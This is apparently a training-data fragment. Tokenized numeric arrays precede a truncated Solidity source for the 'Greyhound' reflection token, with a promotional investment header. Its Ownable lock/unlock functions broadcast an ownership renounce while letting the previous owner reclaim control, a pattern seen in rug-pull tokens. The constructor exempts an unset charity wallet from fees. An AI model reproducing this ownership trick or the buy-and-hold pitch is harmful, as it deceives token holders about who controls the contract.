1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
5302,
8728,
14592,
12,
11890,
5034,
14708,
734,
16,
2254,
5034,
20084,
861,
950,
13,
2713,
288,
203,
3639,
2254,
5034,
783,
8728,
52,
280,
8016,
734,
273,
14547,
63,
3576,
18,
15330,
15533,
203,
3639,
19945,
2502,
783,
8728,
52,
280,
8016,
273,
450,
22536,
63,
2972,
8728,
52,
280,
8016,
734,
15533,
203,
3639,
309,
12,
685,
7423,
861,
950,
405,
783,
8728,
52,
280,
8016,
18,
685,
7423,
861,
950,
13,
203,
5411,
14547,
63,
3576,
18,
15330,
65,
273,
14708,
734,
31,
27699,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/** ```````
* `..--::::::::-----.`
* THE GREYHOUND CRYPTO PROJECT --:::::::::::::::///:-
* .:::://////////////////.
* `-:::////////////++++ooo/`
* `-:://////+++++o++++/++++++:`
* `-::////++oooooooooooooo++++++/-
* `-::///++oooooo++/++osssssso++++++:
* -:/+++ooooo+:.` `./sssssss++++++:
* `-/+++/:.` -sssssssoooooo/
* `` +yyyyyyooooooo:
* /yyyyyysooooooo.
* `oyyyyyyysssssss+
* -+oyyyyyyssssssss.
* `.-----:+yhyssssssss/
* ``...-----::::://///++++/:::::-----/syysssssso
* `..-----/osssssssssssssssssssssssyo/////:-----+hyyyyyyo
* `.-:::-----+ysssssssssssssssssssssssssyy//////::::-/hhyyyy+
* `-:::::------yyyyyyyyyyyyyyyyyyyyyyyyyyyyhy//////:::::shhyyy:
* `-::::::-----::hhyyyyyyyyyyyyyyyyyyyyyyyyyydd++++++:::::/hhhyy`
* :::::::::-::::::ddhhhhhhhhhhhhhhhhhhhhhhhhhddd++++++//////hhhh-
* /o::::://::::::::hddddddddddddddddddddddddddddy++++++/////oddh/
* :d+:://///::::::::yddddddddddddddddddddddddmmdy+++ooo+/////hdd:
* -hdo///////:::::///ommmdddddddddddddddddddmmmdoooooooo+++++yddmy
* `yhho////////://////+mmmmmmmms.-/oyhmmmmmmmmmmdooooooo+++++hdmmmms
* ohhy./////++/////////dmmmmmmmm+ `.:oydmmmmmmoooooooo++++sdmmmmmo
*`` /hhh- ///+++++//////+/hmmmmmmmmm. `.:+syhhysossssoooooohmmmmm+
*+s. :yhh: :+++++++///+++++hmmmmmmmmmo `````-/osssssooosdmmmm/
*`os: `+yyy: -+++++++++++++++dmmmmmmmmdy `./ossssssshmmmd:
* `/so:.` ``-+syyo- -+++++oo+++++++ommmdddddddy `.:osyyysydmmd-
* ./osoooosyys+-` .+++ooooo++++ooodmmdddddddd/ .:osyyyhddh.
* `.-:///:.` `./++oooooo++ooo+::mdddddddddy` -:. `.ohhydddy.
* `.-:/+++ooooooooooo+:. hdddddddds. :yyyooosssyhhyhdddy`
* .++++ooooooooo++/-.` .dddddddy/` ++++///::::--..yddds`
* `++oo++++//:-.`` /dddddh:` `shhho`
* /ooo-`` /ddddh. `+hhho
* :ooo- :hddds /hhh+
* .ooo: -hddd/ :hhh/
* osso:. .yddhoo/` -yhh/``
* /ossss+ `shhhhhy- .yyyyo-
* `......` `------. `----.
*
* Welcome to the Greyhound Crypto Project.
*
* Tokenomics per transaction information:
* Fee: 10% (2% Liquidity Pool, 3% Charity Wallet, 5% Redistribution).
* Burn: additional 10% of the circulating supply.
* This is made possible by reducing the rSupply instead of a transaction in the burnwallet (as it is often done in the amateur scene).
*
* To fill the charity wallet we call Transfer() within sendToCharity function.
* This way you don't have to dig up valuable money for the reduction of the circulating supply,
* from which nobody has anything except avoidable gas fees.
*
* So everyone can benefit.
*
* We wish you much success with your investment, and congratulate you for doing additional good.
* Always Remember: The longer you stay in, the more you benefit.
*
* Let's make the crypto space a better place - together.
*
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* A big thanks for the great open source contributions from
* OpenZeppelin and RFI which made this great token possible.
* The Greyhound token uses the following GitHub repositories:
* openzeppelin-solidity/contracts/GSN/Context.sol
* openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
* openzeppelin-solidity/contracts/math/SafeMath.sol
* openzeppelin-solidity/contracts/utils/Address.sol
* openzeppelin-solidity/contracts/access/Ownable.sol
* reflectfinance/reflect-contracts/blob/main/contracts/REFLECT.sol
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
*/
pragma solidity ^0.6.12;
// SPDX-License-Identifier: MIT
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
// pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Greyhound is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
// Mapping allows adresses to be assigned a value,
// can be considered as a hash table for different purposes.
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private _isCharity;
address[] private _excluded;
// Returns the max. size of the 256-bit unsigned solidity integer as part of the "internal supply" calculation.
uint256 private constant MAX = ~uint256(0);
// Sets the total supply and is never changed.
// The total number of tokens available is symbolic of the entire global human population.
// ** is the exponentiation operator in solidity (in this case, 9 decimals)
uint256 private _tTotal = 7777777777 * 10**9;
// Used to create a kind of deposit reserve ratio,
// since the total supply and the deflationary
// behavior of the token must not interfere with each other.
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
// Setting the general token fundamentals and charactaristics.
string private _name = "Greyhound";
string private _symbol = "GHD";
uint8 private _decimals = 9;
uint256 public _taxFee = 5;
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 2;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public _charityFee = 3;
uint256 private _previousCharityFee = _charityFee;
uint256 public _burnAmount = 10;
uint256 private _previousBurnAmount = _burnAmount;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
// Declaration of some transport and calculation variables. The _t variable are part of the later interface variables.
uint256 private _tCharityTotal;
uint256 private _tBurnTotal;
address private _CharityWallet;
address private _BurnWallet;
uint256 public _maxTxAmount = 7777777777 * 10**9;
uint256 private numTokensSellToAddToLiquidity = 777777777 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
// The constructor code is executed once when a contract is created and it is used to initialize contract state.
constructor (address CharityWallet) public {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0xD99D1c33F9fC3444f8101754aBC46c52416550D1); //0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// Set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
// Exclude owner and this contract and the charity wallet from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_CharityWallet] = true;
// If no other charity wallet will be set, the initial one is excluded from fees
_isCharity[_CharityWallet] = true;
// Set the burn wallet once the contract is created. "dead" returns an invalid hash, so "dEaD" is used when set in the code
_BurnWallet = 0x000000000000000000000000000000000000dEaD;
_CharityWallet = CharityWallet;
// Send all token to the owener when contract is created
emit Transfer(address(0), _msgSender(), _tTotal);
}
// set the basic token variables for mapping in the network and provide basic functions to interact with the contract
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalCharityFee() public view returns (uint256) {
return _tCharityTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function getCharityWallet() public view returns (address) {
return _CharityWallet;
}
function getBurnWallet() public view returns (address) {
return _BurnWallet;
}
// Sets a diffent charity wallet than the initialized and set _isCharity = true
// Only the current owner is allowed to call this function
function setCharityWallet(address CharityWallet) external onlyOwner() {
require(!_isCharity[CharityWallet], "Account is already charity account");
_isCharity[CharityWallet] = true;
// Transport the charity address from constructor function
_CharityWallet = CharityWallet;
}
function setBurnWallet(address BurnWallet) external onlyOwner() {
require(!_isExcluded[BurnWallet], "Can't be excluded address");
_BurnWallet = BurnWallet;
}
// Part one of reflection/transfer mechanism
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,) = _getValues1(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
// Part two of reflection/transfer mechanism
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,) = _getValues1(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,) = _getValues1(tAmount);
return rTransferAmount;
}
}
// Part three of reflection/transfer mechanism
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
// Exclude address from rewards. To set also in the later contract interface
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
// To exclude address from fees. Used in the constructor at the contract creation. Here to set in the contract interface
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
